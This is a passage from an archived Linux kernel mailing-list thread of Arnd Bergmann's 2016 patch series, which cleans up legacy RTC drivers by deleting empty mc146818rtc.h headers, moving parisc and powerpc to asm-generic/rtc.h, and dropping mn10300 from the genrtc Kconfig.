diff --git a/arch/frv/include/asm/mc146818rtc.h b/arch/frv/include/asm/mc146818rtc.h
deleted file mode 100644
index 90dfb7a633d1..000000000000
--- a/arch/frv/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,16 +0,0 @@
-/* mc146818rtc.h: RTC defs
- *
- * Copyright (C) 2005 Red Hat, Inc. All Rights Reserved.
- * Written by David Howells (dhowells@redhat.com)
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License
- * as published by the Free Software Foundation; either version
- * 2 of the License, or (at your option) any later version.
- */
-
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-
-#endif /* _ASM_MC146818RTC_H */
diff --git a/arch/h8300/include/asm/mc146818rtc.h b/arch/h8300/include/asm/mc146818rtc.h
deleted file mode 100644
index ab9d9646d241..000000000000
--- a/arch/h8300/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _H8300_MC146818RTC_H
-#define _H8300_MC146818RTC_H
-
-/* empty include file to satisfy the include in genrtc.c/ide-geometry.c */
-
-#endif /* _H8300_MC146818RTC_H */
diff --git a/arch/ia64/include/asm/mc146818rtc.h b/arch/ia64/include/asm/mc146818rtc.h
deleted file mode 100644
index 407787a237ba..000000000000
--- a/arch/ia64/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#ifndef _ASM_IA64_MC146818RTC_H
-#define _ASM_IA64_MC146818RTC_H
-
-/*
- * Machine dependent access functions for RTC registers.
- */
-
-/* empty include file to satisfy the include in genrtc.c */
-
-#endif /* _ASM_IA64_MC146818RTC_H */
diff --git a/arch/parisc/include/asm/mc146818rtc.h b/arch/parisc/include/asm/mc146818rtc.h
deleted file mode 100644
index adf41631449f..000000000000
--- a/arch/parisc/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-/* empty include file to satisfy the include in genrtc.c */
-
-#endif /* _ASM_MC146818RTC_H */
diff --git a/arch/sh/include/asm/mc146818rtc.h b/arch/sh/include/asm/mc146818rtc.h
deleted file mode 100644
index 0aee96a97330..000000000000
--- a/arch/sh/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,7 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-#endif /* _ASM_MC146818RTC_H */
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: char: legacy RTC cleanups
Date: Tue, 26 Apr 2016 23:44:04 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707187 17769 80.91.229.3 (26 Apr 2016 21:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:46:27 +0000 (UTC)
Cc: tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 26 23:46:19 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avAoC-00039H-S1
	for glk-linux-kernel-3@plane.gmane.org; Tue, 26 Apr 2016 23:46:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753335AbcDZVpy (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 26 Apr 2016 17:45:54 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.135]:61026 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753221AbcDZVpv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 26 Apr 2016 17:45:51 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0MDCnY-1awGiu0xx6-00GY2K; Tue, 26 Apr
 2016 23:44:46 +0200
X-Mailer: git-send-email 2.7.0
X-Provags-ID: V03:K0:aAg7K3WeoVcsZ90OVXm86zl0FjfEg4gEbV8/lToEMxKthSVWblx
 hVtkTXkWK4n5m64mArss389dMyftwsgzsOUP4PFPB1sdepc0zPmh003ta/ih2RVKB1iTd2t
 ee55A4WRx5GiMpU7LtodnCA0rsoxBK8brFatxdKOufRDzdSgOUBHZuMQF/+t0wXcAptnb7O
 5aX1Wk3PuKHRmDV59Px3Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6uZqjij0tHc=:7nWdGlto2bF+xexhHMmWaw
 UxOV0v460CAE5Y/JvWWWjakv04r3MJ4vcwSaxefElGjsKHcMV5vN2DSJQVsLqLUzhkNwQ4jcL
 vhjipotcPgEo3b+xskDs8suJqOzBSDhj+k+hNSixVGAZ5TEPXrLgb4rWLY/o3yZgppXDxr4Cy
 LPV9OMaylfYF2yjA3W2zUQofFtVB9r6Cj0nLZshSw4Gu1uDazPczOZHm3pAhWB2N+AaQ/YZ0V
 DnlPG6HWinPbMGMZmIJqg1cj+lf5xHkv3G+Hl9ZuylUnzOSVVfwZ4cxLgqbcShwowTCy0gOTL
 5CQuVGkDUpjqr/zGBJHKsfVoOClwRpP65u5Ta5yPwiVQ9RwUNWB1QSNhoNBajWQcRbYKm10mN
 3l6v7KIchMEWhxVwT9dZS2JjXrW/7qn65LL3vqVwGd6qAYO1J0Do5BBwmb9PjNs+J86qGTkE/
 TG6FanOPozesT20zf3umnUpsiSlODYjGd+Vyxb9jFlHUWvIorO2h5tJAVBTDOeRsC5M4Xkwkd
 wQK7qV6a87VhcFxrpQ1BmzokWQM5maOKr1tABkbbDaNcMIeaypPrOt/X7gou7xh0Qv8aMCTuu
 TPylXb8BoJNqpDWWGdsW99FOWAhf6Aezkfx6Sm9C6wzJ5Tg07UqCtVhhAcwFslySfHQjbh3eT
 zJBNtzk+f7IPkLesntTgTnv9dyfVKo+nbBQ7Txl6WKDRGUFCKX25IboXzMQrITb7s9fA=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2208419 gmane.linux.ports.alpha:3641 gmane.linux.ports.ia64:26653 gmane.linux.ports.parisc:26666 gmane.linux.ports.ppc64.devel:126425 gmane.linux.ports.sh.devel:53822 gmane.linux.kernel.cross-arch:31695
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2208419>

I've had these patches in my tree for a while, after the first one
had a few issues that are fixed in this new version. The old-style
PC RTC driver is now also disabled on m68k (as pointed out by
Geert), ppc (it was also blacklisted), and m32r (I showed that
it did not build).

For the genrtc driver, rearranging the headers makes it simpler
to use and reduces duplication. In case of alpha and mn10300,
I've shown that the genrtc and rtc drivers are doing the same
thing, so we don't need them both. The remaining three
architectures (m68k, parisc, powerpc) actually all support
the newer rtc-generic driver, so we could remove genrtc completely
if we want to.

	Arnd



From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 6/8] char/genrtc: parisc: use asm-generic/rtc.h
Date: Tue, 26 Apr 2016 23:44:10 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <1461707052-1337718-7-git-send-email-arnd@arndb.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707188 17782 80.91.229.3 (26 Apr 2016 21:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:46:28 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, tony.luck@intel.com,
	geert@linux-m68k.org, jejb@parisc-linux.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	rth@twiddle.net, ink@jurassic.park.msu.ru,
	linux-alpha@vger.kernel.org, x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 26 23:46:19 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avAoA-00039H-Ts
	for glk-linux-kernel-3@plane.gmane.org; Tue, 26 Apr 2016 23:46:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753198AbcDZVpr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 26 Apr 2016 17:45:47 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.133]:50003 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752995AbcDZVpk (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 26 Apr 2016 17:45:40 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0MLC4r-1autff0H7B-000IM9; Tue, 26 Apr
 2016 23:44:50 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:sXjnu+yLbJ0+8mwMLqVfNGQCmCTwkOOIw8LW3r5jFUHt+q9Zwid
 oXdYXjz/tf3JbVRSW+bBjNuhiDwSPW0fApYuaGZER5Ay6JCcTPMjsNKMpBQRc6IRgmpBon7
 W+trkalUKHKCJHg13HxbTFiqot/N2Qzw5lQMY7sDR0utS1nEHkN26R/UBxuIDce17pO7wL8
 duftyI3heNq10EC8bGQeA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MSF0vB5mxuQ=:Dvs55qd+W/DOWuTjpa0YAT
 Ur7c33pgU8Pw0Ox0RoXN9kXgBSVZBOAcUQzk3tZ9dsp2CjNe7DNCqxocos9Q0MGCX/Q+EGjgq
 h1FSyXXjlNQSdqisQyViAofmMX4H6MHTvSjeGCQNoxwf35h8n10Xoae8P53rn4Xj44HoleILN
 ABtjyKoaM1zNbFyIMAWV1fLMVLQULM8Wgjpnx0tU0P+kQ+qkw0NkYJZ7JsVTLCOH+Rmi2Pix5
 YO63i+psYuxn4oA+DSG1e+TqFzr0kUmJvrc0XNMU2LaSyi3LfJWhIsHLunMQ1fZKZQ6KHsnOY
 GzfgLBAGCkZ03caSj0mPEut9jKf9SIU8d51JnfH6Z9H4IvCJhlq8c/Smx8Ty9/DNoRhwSzLBT
 ToD/tGlW7ess9SByeTpjSKdWixt6cMXg+okWez+a1NhAeeilpxNVFBKwxkiCOToqmila50z6l
 nTmogtS2u+8ZW7iOdoClhueDF3prOv1y+LpKpBp319Jh25q9YhqDCL49BySgCA7zru1SPT0iT
 pFnHv3HfA2OY+Ua26NEDtXtkzE5C7eFMTMaIO9gZNnNIygiOvc0tKdlKpoLTJl3v8PBCfZNMh
 NRGT9KDx9en742sgH2M0db4P1kDNZnx3O1VxGd8ZMboTXfJRcO2SyUkOUWf4ldi+9Jhfb6QLc
 REmwYLH0B+DGYQL4klnNUBxBZ1WpzoRMnNf3VlVjwq9ibK3BS5eZMqtnymNUNjxdB5dY=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2208420 gmane.linux.ports.alpha:3642 gmane.linux.ports.ia64:26654 gmane.linux.ports.parisc:26667 gmane.linux.ports.ppc64.devel:126426 gmane.linux.ports.sh.devel:53823 gmane.linux.kernel.cross-arch:31696
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2208420>

The asm-generic/rtc.h header can now be included by
architectures that provide their own set_rtc_time/get_rtc_time
macros, letting us remove most of the common contents in
the powerpc implementation.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/parisc/include/asm/rtc.h | 38 +++++---------------------------------
 1 file changed, 5 insertions(+), 33 deletions(-)

diff --git a/arch/parisc/include/asm/rtc.h b/arch/parisc/include/asm/rtc.h
index 099d641a42c2..d06cc581ecc2 100644
--- a/arch/parisc/include/asm/rtc.h
+++ b/arch/parisc/include/asm/rtc.h
@@ -12,26 +12,15 @@
 
 #ifdef __KERNEL__
 
-#include <linux/rtc.h>
+#define get_rtc_time parisc_get_rtc_time
+#define set_rtc_time parisc_set_rtc_time
+#include <asm-generic/rtc.h>
 
 #include <asm/pdc.h>
 
 #define SECS_PER_HOUR   (60 * 60)
 #define SECS_PER_DAY    (SECS_PER_HOUR * 24)
 
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-#define RTC_BATT_BAD 0x100	/* battery bad */
-
-/* some dummy definitions */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
 # define __isleap(year) \
   ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
 
@@ -44,7 +33,7 @@ static const unsigned short int __mon_yday[2][13] =
 	{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
 };
 
-static inline unsigned int get_rtc_time(struct rtc_time *wtime)
+static inline unsigned int parisc_get_rtc_time(struct rtc_time *wtime)
 {
 	struct pdc_tod tod_data;
 	long int days, rem, y;
@@ -96,7 +85,7 @@ static inline unsigned int get_rtc_time(struct rtc_time *wtime)
 	return RTC_24H;
 }
 
-static int set_rtc_time(struct rtc_time *wtime)
+static int parisc_set_rtc_time(struct rtc_time *wtime)
 {
 	u_int32_t secs;
 
@@ -110,22 +99,5 @@ static int set_rtc_time(struct rtc_time *wtime)
 
 }
 
-static inline unsigned int get_rtc_ss(void)
-{
-	struct rtc_time h;
-
-	get_rtc_time(&h);
-	return h.tm_sec;
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-
 #endif /* __KERNEL__ */
 #endif /* __ASM_RTC_H__ */
-- 
2.7.0



From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 8/8] char/genrtc: disallow building on mn10300
Date: Tue, 26 Apr 2016 23:44:12 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <1461707052-1337718-9-git-send-email-arnd@arndb.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707193 17846 80.91.229.3 (26 Apr 2016 21:46:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:46:33 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, tony.luck@intel.com,
	geert@linux-m68k.org, jejb@parisc-linux.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	rth@twiddle.net, ink@jurassic.park.msu.ru,
	linux-alpha@vger.kernel.org, x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 26 23:46:24 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avAoB-00039H-LI
	for glk-linux-kernel-3@plane.gmane.org; Tue, 26 Apr 2016 23:46:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753299AbcDZVpv (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 26 Apr 2016 17:45:51 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.135]:52041 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752998AbcDZVpr (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 26 Apr 2016 17:45:47 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0Lr6Rz-1bP1km2K5T-00eYnH; Tue, 26 Apr
 2016 23:44:52 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:+nhMOiH3amIU1G8S/bwKbpBLYn5CymGTkSSi1bny9Ga9VBd29/p
 YpFPvKhL/ESnpbnENKjgYtMTUPkGpY+jiLxdPe/Z5egf9v0Eo0Eg4hB+S2NpoT/L7+Xtkw+
 s8l0c23fJxLKLPjvsATypw+ISclMWq78OKoH3cnnaQRzp/2WggIU8DBthG+bt2aLCPT0Q+B
 83qOjoTY8wK8EGsorcAWQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NzbE4idL4m4=:8avghEqXO8QVVV7K7AkquS
 rOBXQet6GDKjIYHlEX+uL5UcxPJ+JQdSmvDN8teGZkc34HfbMTR6SCA7SXjiKk5TYFh4B7oX4
 tWpQ4ovYAucKRDXIn6iApCl4ZuVhNkCdWe4DUeGISr5PRsO2GoDrtWD/QcqdMU8CJbuU4pY6/
 ylJc/t57C6DBtTQeit3M1eiFvtc3Zh07J0hOvfbahVr3HdKNoseeL2PBmco8uSqTHGkox6PQ2
 dO8HTw0gzX3pIANieADsE6Soo8wPegYHI6gytUV/h8rKX5PifM8IZpsMzJaBX/Mrie3Fu4vz7
 tZd7QzNCzVlcrmQcT9hinmmyfF383X0cUjiES8Kh3FoZJai6Lh+bu7vkDn/pvCFa/LLwDeY2z
 uyPcd7sjfulHjX0Iq6lAKl69FqK+oXSFSI0ZsCZDY5iZahzX6Im6B0GknBN/e3xSCCIMcKgpy
 qnrCmgVUT9tHzpkY6daESSGn9v2PHYyW9Jy0BP3xTjRSBm3PIVegqyhTWJsvNU2GonYVdz/Y/
 kyBHBSbXqwa6QpHin7sAw+zx6ZgXjuQq85Muq04viJrepr2MtQbRFvF855YDY7sEOAESnfI4x
 K7ragg9FoF2XKaHmmk5D6L72Kv6LesI5lfE3H6unpAYZ6koB0MttEG4a5T9yD/Pf/j9LvGJjQ
 yycr5RbSQ0974izaEF4Ys4G2ILUPj1Q+rIrY6kY6oU90kcfArV3QlynHocZmA82VA+a0=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2208421 gmane.linux.ports.alpha:3643 gmane.linux.ports.ia64:26655 gmane.linux.ports.parisc:26668 gmane.linux.ports.ppc64.devel:126427 gmane.linux.ports.sh.devel:53824 gmane.linux.kernel.cross-arch:31697
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2208421>

The genrtc driver serves no purpose on mn10300 because it drives the
same hardware as the original rtc.c driver, and the newer rtc-generic.c
or rtc-cmos.c drivers on architectures that use the asm-generic/rtc.h
header.

I assume it was initially only added for completeness when the
mn10300 port was done, but the older rtc.c driver was always used
instead.

It would be nice to change the architecture to use the rtc-cmos driver
next, and remove support for the old rtc driver as well.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/char/Kconfig | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 697510325b1d..d17ed90ebc82 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on M68K || MN10300 || PARISC || PPC
+	depends on M68K || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0



From - Thu Nov 08 21:38:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [PATCH 5/8] char/genrtc: powerpc: use asm-generic/rtc.h
Date: Tue, 26 Apr 2016 23:44:09 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <1461707052-1337718-6-git-send-email-arnd@arndb.de>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461707260 18749 80.91.229.3 (26 Apr 2016 21:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Apr 2016 21:47:40 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, tony.luck@intel.com,
	geert@linux-m68k.org, jejb@parisc-linux.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	rth@twiddle.net, ink@jurassic.park.msu.ru,
	linux-alpha@vger.kernel.org, x86@kernel.org, a.zummo@towertech.it,
	alexandre.belloni@free-electrons.com, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Apr 26 23:47:33 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1avApP-0003hz-Hv
	for glka-linux-arch@plane.gmane.org; Tue, 26 Apr 2016 23:47:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752948AbcDZVr2 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 26 Apr 2016 17:47:28 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.135]:51966 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753003AbcDZVpo (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 26 Apr 2016 17:45:44 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue003) with ESMTPA (Nemesis) id 0LhzeA-1bY4JP1Rsw-00n7Mk; Tue, 26 Apr
 2016 23:44:49 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:n6EnnEqhTcyhUez+lE/8RFP0cwH+yHqEoK3+G7YpPf1MQ0qAb/h
 rrdRZ/m8fxh4Wo/C1ROrTVcz17U0HTicwoH05lXz5WgxjyMxSNNJy82PG1Ye4l5w393wnr2
 Ryxjj6++VLbVG3o4vRmA0ZSxJHjK2TwGYaxzWgZ+Wy+KJeC9iuEbbwwqPbikUr9EEJq4wQe
 7IVII3PqLbm+IF3fkJoiQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:xJZ/ob6cTmE=:yJ+b9/YSpzNPRm9v9dg29n
 VcUy+P+UtwGxw7Ow77Mfxiu3PoNrGf/Hy26F/L8r6VVlkXDyMoZH85QFGbbPSsk9khieiiU8H
 H5HGK5B9c6+uEp/IzVHal9yE1eobxfbiczTPW19emVM2xnaqmtpXq6PV85XhUxLk/bg4e7j9E
 s2etQrZcUb4nKXV/AEi7nYiKxSYUHG8fi/hBUiIV1UiZ2vOTsVdNTBYrG4H30O4hrYlPtfMAB
 hVpLTxTv+NF/P3OX20QUgqgg7itFHugQF4A+XrcVR5EFOxI/8BpeTY+RvP3Hz7xvJXiwYgU2J
 gDKgWIzEuVUZrlnLIJhLsm3kOP/bIV3R6JYRBytT6Yywqy1Hb9bkx527bs1YeVIZkXfHrOtkp
 FSsTNS61UB3WDzkG1bw96CKj0mN2C8KJmbMGtX0T0QQIvVa09a4n8Q7XCzKGFhKyb+Fr5aoOB
 wnhGB1rwd++uEaHA9oVuu0CZREe/mOtnWt9I+2tlRRUbT2pS+qUG1kg843K2Mac+gBLo/3Ptm
 W+dKyYdc7u69XZl80/+0bvcbp6QPbmdoB2o40wMHpfNDVw0te5xQ+cUILQF+UryOfofqEs1sb
 +EhI22m0AIFYTe3lfRYkxCE28C210+RSyKl7h+4bpz2Hz+9EI4W6I8h7XVAklazxjPh1g6a3D
 jDAt5ApsLKdvK8gI4VkKJDsm2DJsoleW2pxgcrEtKNN8XLuh+ay/dS/SGedKcJCuxEog=
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:31698 gmane.linux.ports.alpha:3644 gmane.linux.kernel:2208423 gmane.linux.ports.ia64:26656 gmane.linux.ports.parisc:26669 gmane.linux.ports.ppc64.devel:126428 gmane.linux.ports.sh.devel:53825
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/31698>

The asm-generic/rtc.h header can now be included by
architectures that provide their own set_rtc_time/get_rtc_time
macros, letting us remove most of the common contents in
the powerpc implementation.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/powerpc/include/asm/rtc.h | 36 +++++-------------------------------
 1 file changed, 5 insertions(+), 31 deletions(-)

diff --git a/arch/powerpc/include/asm/rtc.h b/arch/powerpc/include/asm/rtc.h
index f5802926b6c0..c6659582bd1e 100644
--- a/arch/powerpc/include/asm/rtc.h
+++ b/arch/powerpc/include/asm/rtc.h
@@ -26,23 +26,14 @@
 
 #ifdef __KERNEL__
 
-#include <linux/rtc.h>
+#define get_rtc_time powerpc_get_rtc_time
